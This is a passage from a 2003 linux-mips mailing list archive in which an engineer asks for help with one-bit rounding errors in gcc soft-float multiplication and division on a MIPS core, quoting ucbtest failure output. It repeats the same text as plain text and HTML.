<BR><FONT SIZE=2>Manager Systems Software Engineering </FONT>
<BR><FONT SIZE=2>TeraLogic Group, Inc. a division of Oak Technologies Inc. </FONT>
<BR><FONT SIZE=2>1-408-523-4214</FONT>
<BR><FONT SIZE=2>_______________________________________________________________________ </FONT>
<BR><FONT SIZE=2>CONFIDENTIALITY NOTICE: The information contained in this message and any attachment(s) is confidential and may be legally privileged. The message is intended solely for the addressee(s). If you are not the intended recipient, you are hereby notified that any use, dissemination, or reproduction is strictly prohibited and may be unlawful. If you are not the intended recipient, please contact the sender by return e-mail and destroy all copies of the original message and any associated attachments. If you are the intended recipient - this is official notification that this email or it's attachments are confidential and covered by the agreements between the companies. Thank-you._____________________________________________________________________ </FONT></P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C302A6.4AA10880--

From DennisCastleman@oaktech.com Mon Apr 14 18:07:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 18:07:16 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:9181
	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8225202AbTDNRHP>; Mon, 14 Apr 2003 18:07:15 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3EH3sO18584;
	Mon, 14 Apr 2003 10:03:54 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22AC35VT>; Mon, 14 Apr 2003 10:00:45 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102F08@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: "'Ralf Baechle'" <ralf@linux-mips.org>, linux-mips@linux-mips.org
Cc: Gus Fernandez <GusFernandez@oaktech.com>
Subject: RE: Soft floating point on 5K
Date: Mon, 14 Apr 2003 10:00:44 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C302A7.63520720"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2037
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C302A7.63520720
Content-Type: text/plain;
	charset="ISO-8859-1"

Ralf
 
Please re-post this with out the legal crap on the bottom.
 
Thanks 

Dennis Castleman 

 -----Original Message-----
From: Dennis Castleman [mailto:DennisCastleman@oaktech.com]
Sent: Monday, April 14, 2003 9:53 AM
To: 'Ralf Baechle'; linux-mips@linux-mips.org
Cc: Gus Fernandez
Subject: Soft floating point on 5K



ALL  

I'm trying to run soft-floating point functions on a r5000 core with a FPU. 
Without having to take the overhead of using a trap.  Using the files
fp-bit.c and dp-bit.c 
from the gcc source as a floating point lib.  This implementation lack in
accuracy in 
the least signeficant bit multiplication in division operations. 

Using the floating point validation test from UCB(ucbtest), which validates 
single and double precision operations for addition, subtraction, division 
and multiplication. This test tests all difficult cases and edge conditions 
(like combination of infinities, Nan etc.). 

Here is the result with our soft-float library:- 
Single precision Addition: Passed all 344 tests. 
Single precision Subtraction: Passed all 316 tests 
Single precision multiplication: Total: 334 Passed:313 Failed: 21 
Single precision division: Total: 379 Passed: 375 Failed: 4 
Double precision Addition: Passed all 352 tests. 
Double precision Subtraction: Passed all 321 tests 
Double precision multiplication: Total: 340 Passed: 319 Failed: 21 
Double precision division: Total: 383 Passed: 379 Failed: 4 

However, in all the failed cases there is only 1 bit different in the
mantissa. 
Essentially for some cases, it's less accurate by the minimum distance. 


Any ideas in how to make this work or improve soft-floating point on a mips
5Kc? 


Value error: divd n eq xu 
        Input:    000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFFE 
        Expected: 000FFFFF FFFFFFFF xu 
Value error: divd n eq xu 
        Input:    000FFFFF FFFFFFF7 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFF7 
        Expected: 000FFFFF FFFFFFF8 xu 
Value error: divd n eq xu 
        Input:    800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE 
        Computed: 800FFFFF FFFFFFF8 
        Expected: 800FFFFF FFFFFFF9 xu 
Value error: divd n eq xu 
        Input:    001FFFFF FFFFFFFF 40000000 00000000 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 xu 
Total  383 tests:  pass  379,  flags err    0,  value err   4,     divd 
 ucbtest UCBFAIL in divd at line 701 for double 


Value error: divs n eq xu 
        Input:    007FFFFE 3F7FFFFE 
        Computed: 007FFFFE 
        Expected: 007FFFFF xu 
Value error: divs n eq xu 
        Input:    007FFFF7 3F7FFFFE 
        Computed: 007FFFF7 
        Expected: 007FFFF8 xu 
Value error: divs n eq xu 
        Input:    807FFFF8 3F7FFFFE 
        Computed: 807FFFF8 
        Expected: 807FFFF9 xu 
Value error: divs n eq xu 
        Input:    00FFFFFF 40000000 
        Computed: 007FFFFF 
        Expected: 00800000 xu 
Total  379 tests:  pass  375,  flags err    0,  value err   4,     divs 
 ucbtest UCBFAIL in divs at line 701 for float 

Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFF8 3FF00000 00000008 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFF8 BFF00000 00000008 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    000FFFFF FFFFFFFF 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    00100000 00000001 3FEFFFFF FFFFFFFE 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    00100000 00000002 3FEFFFFF FFFFFFFC 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    20000000 02000000 1FFFFFFF FC000000 
        Computed: 00000000 00000000 
        Expected: 00100000 00000000 x?u 
Value error: muld n eq x?u 
        Input:    800FFFFF FFFFFFFF 3FF00000 00000001 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 x?u 
Value error: muld n eq xu 
        Input:    00000000 00000001 3FEFFFFF FFFFFFFF 
        Computed: 00000000 00000000 
        Expected: 00000000 00000001 xu 
Value error: muld n eq xu 
        Input:    00000000 00000001 BFEFFFFF FFFFFFFF 
        Computed: 80000000 00000000 
        Expected: 80000000 00000001 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFF8 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFF8 
        Expected: 000FFFFF FFFFFFF9 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFF8 BFF00000 00000001 
        Computed: 800FFFFF FFFFFFF8 
        Expected: 800FFFFF FFFFFFF9 xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFFE 3FF00000 00000001 
        Computed: 000FFFFF FFFFFFFE 
        Expected: 000FFFFF FFFFFFFF xu 
Value error: muld n eq xu 
        Input:    000FFFFF FFFFFFFE BFF00000 00000001 
        Computed: 800FFFFF FFFFFFFE 
        Expected: 800FFFFF FFFFFFFF xu 
Value error: muld n eq xu 
        Input:    00100000 00000001 3FEFFFFF FFFFFFFA 
        Computed: 000FFFFF FFFFFFFD 
        Expected: 000FFFFF FFFFFFFE xu 
Value error: muld n eq xu 
        Input:    001FFFFF FFFFFFFF 3FE00000 00000000 
        Computed: 000FFFFF FFFFFFFF 
        Expected: 00100000 00000000 xu 
Value error: muld n eq xu 
        Input:    001FFFFF FFFFFFFF BFE00000 00000000 
        Computed: 800FFFFF FFFFFFFF 
        Expected: 80100000 00000000 xu 
Value error: muld n eq xu 
        Input:    800FFFFF FFFFFFF7 3FF00000 00000001 
        Computed: 800FFFFF FFFFFFF7 
        Expected: 800FFFFF FFFFFFF8 xu 
Value error: muld n eq xu 
        Input:    BFE00000 00000001 00000000 00000001 
        Computed: 80000000 00000000 
        Expected: 80000000 00000001 xu 
Value error: muld n eq xu 
        Input:    BFF80000 00000000 80000000 00000001 
        Computed: 00000000 00000001 
        Expected: 00000000 00000002 xu 
Value error: muld n eq xu 
        Input:    C0040000 00000001 00000000 00000001 
        Computed: 80000000 00000002 
        Expected: 80000000 00000003 xu 
Value error: muld n eq xu 
        Input:    C00C0000 00000000 80000000 00000001 
        Computed: 00000000 00000003 
        Expected: 00000000 00000004 xu 
Total  340 tests:  pass  319,  flags err    0,  value err  21,     muld 
 ucbtest UCBFAIL in muld at line 701 for double 
  

  


------_=_NextPart_001_01C302A7.63520720
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>Soft floating point on 5K</TITLE>

<META content="MSHTML 5.00.3315.2870" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=169150817-14042003>Ralf</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=169150817-14042003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=169150817-14042003>Please 
re-post this with out the legal crap on the bottom.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=169150817-14042003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=169150817-14042003>Thanks 
</SPAN></FONT></DIV>
<P><FONT face="Comic Sans MS" size=2>Dennis Castleman</FONT>&nbsp;<BR><FONT 
face=Tahoma><BR><FONT size=2><SPAN class=169150817-14042003><FONT color=#0000ff 
face=Arial>&nbsp;</FONT></SPAN>-----Original Message-----<BR><B>From:</B> Dennis 
Castleman [mailto:DennisCastleman@oaktech.com]<BR><B>Sent:</B> Monday, April 14, 
2003 9:53 AM<BR><B>To:</B> 'Ralf Baechle'; 
linux-mips@linux-mips.org<BR><B>Cc:</B> Gus Fernandez<BR><B>Subject:</B> Soft 
floating point on 5K<BR><BR></FONT></P>
<BLOCKQUOTE></FONT>
  <P><FONT size=2>ALL&nbsp; </FONT></P>
  <P><FONT size=2>I'm trying to run soft-floating point functions on a r5000 
  core with a FPU. </FONT><BR><FONT size=2>Without having to take the overhead 
  of using a trap.&nbsp; Using the files fp-bit.c and dp-bit.c </FONT><BR><FONT 
  size=2>from the gcc source as a floating point lib.&nbsp; This implementation 
  lack in accuracy in </FONT><BR><FONT size=2>the least signeficant bit 
  multiplication in division operations. </FONT></P>
  <P><FONT size=2>Using the floating point validation test from UCB(ucbtest), 
  which validates </FONT><BR><FONT size=2>single and double precision operations 
  for addition, subtraction, division </FONT><BR><FONT size=2>and 
  multiplication. This test tests all difficult cases and edge conditions 
  </FONT><BR><FONT size=2>(like combination of infinities, Nan etc.). 
</FONT></P>
  <P><FONT size=2>Here is the result with our soft-float library:- 
  </FONT><BR><FONT size=2>Single precision Addition: Passed all 344 tests. 
  </FONT><BR><FONT size=2>Single precision Subtraction: Passed all 316 tests 
  </FONT><BR><FONT size=2>Single precision multiplication: Total: 334 Passed:313 
  Failed: 21 </FONT><BR><FONT size=2>Single precision division: Total: 379 
  Passed: 375 Failed: 4 </FONT><BR><FONT size=2>Double precision Addition: 
  Passed all 352 tests. </FONT><BR><FONT size=2>Double precision Subtraction: 
  Passed all 321 tests </FONT><BR><FONT size=2>Double precision multiplication: 
  Total: 340 Passed: 319 Failed: 21 </FONT><BR><FONT size=2>Double precision 
  division: Total: 383 Passed: 379 Failed: 4 </FONT></P>
  <P><FONT size=2>However, in all the failed cases there is only 1 bit different 
  in the mantissa. </FONT><BR><FONT size=2>Essentially for some cases, it's less 
  accurate by the minimum distance. </FONT></P><BR>
  <P><FONT size=2>Any ideas in how to make this work or improve soft-floating 
  point on a mips 5Kc?</FONT> </P><BR>
  <P><FONT size=2>Value error: divd n eq xu</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 000FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value error: 
  divd n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF7 3FEFFFFF FFFFFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFF7 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 000FFFFF FFFFFFF8 xu</FONT> <BR><FONT size=2>Value error: 
  divd n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 800FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value error: 
  divd n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 40000000 00000000</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 xu</FONT> <BR><FONT size=2>Total&nbsp; 383 
  tests:&nbsp; pass&nbsp; 379,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value 
  err&nbsp;&nbsp; 4,&nbsp;&nbsp;&nbsp;&nbsp; divd</FONT> <BR><FONT 
  size=2>&nbsp;ucbtest UCBFAIL in divd at line 701 for double </FONT></P><BR>
  <P><FONT size=2>Value error: divs n eq xu</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 007FFFFE 3F7FFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 007FFFFE 
  </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
  007FFFFF xu</FONT> <BR><FONT size=2>Value error: divs n eq xu</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 007FFFF7 3F7FFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 007FFFF7 
  </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
  007FFFF8 xu</FONT> <BR><FONT size=2>Value error: divs n eq xu</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 807FFFF8 3F7FFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 807FFFF8 
  </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
  807FFFF9 xu</FONT> <BR><FONT size=2>Value error: divs n eq xu</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00FFFFFF 40000000</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 007FFFFF 
  </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
  00800000 xu</FONT> <BR><FONT size=2>Total&nbsp; 379 tests:&nbsp; pass&nbsp; 
  375,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value err&nbsp;&nbsp; 
  4,&nbsp;&nbsp;&nbsp;&nbsp; divs</FONT> <BR><FONT size=2>&nbsp;ucbtest UCBFAIL 
  in divs at line 701 for float </FONT></P>
  <P><FONT size=2>Value error: muld n eq x?u</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 00000008</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 00000008</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFF 3FF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF FFFFFFFE</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000002 3FEFFFFF FFFFFFFC</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 20000000 02000000 1FFFFFFF FC000000</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 00000000 
  00000000 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq x?u</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFFF 3FF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80100000 00000000 x?u</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 3FEFFFFF FFFFFFFF</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 00000000 
  00000000 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00000000 00000001 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 BFEFFFFF FFFFFFFF</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 80000000 
  00000000 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80000000 00000001 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 000FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFF8 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 800FFFFF FFFFFFF9 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 000FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE BFF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFFE </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 800FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF FFFFFFFA</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFD </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 000FFFFF FFFFFFFE xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 3FE00000 00000000</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 000FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00100000 00000000 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF BFE00000 00000000</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80100000 00000000 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF7 3FF00000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 800FFFFF 
  FFFFFFF7 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 800FFFFF FFFFFFF8 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; BFE00000 00000001 00000000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 80000000 
  00000000 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80000000 00000001 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; BFF80000 00000000 80000000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 00000000 
  00000001 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 00000000 00000002 xu</FONT> <BR><FONT size=2>Value error: 
  muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Input:&nbsp;&nbsp;&nbsp; C0040000 00000001 00000000 00000001</FONT> 
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 80000000 
  00000002 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
  size=2>Expected: 80000000 00000003 xu</FONT> <BR><FONT size=2>Value error: 
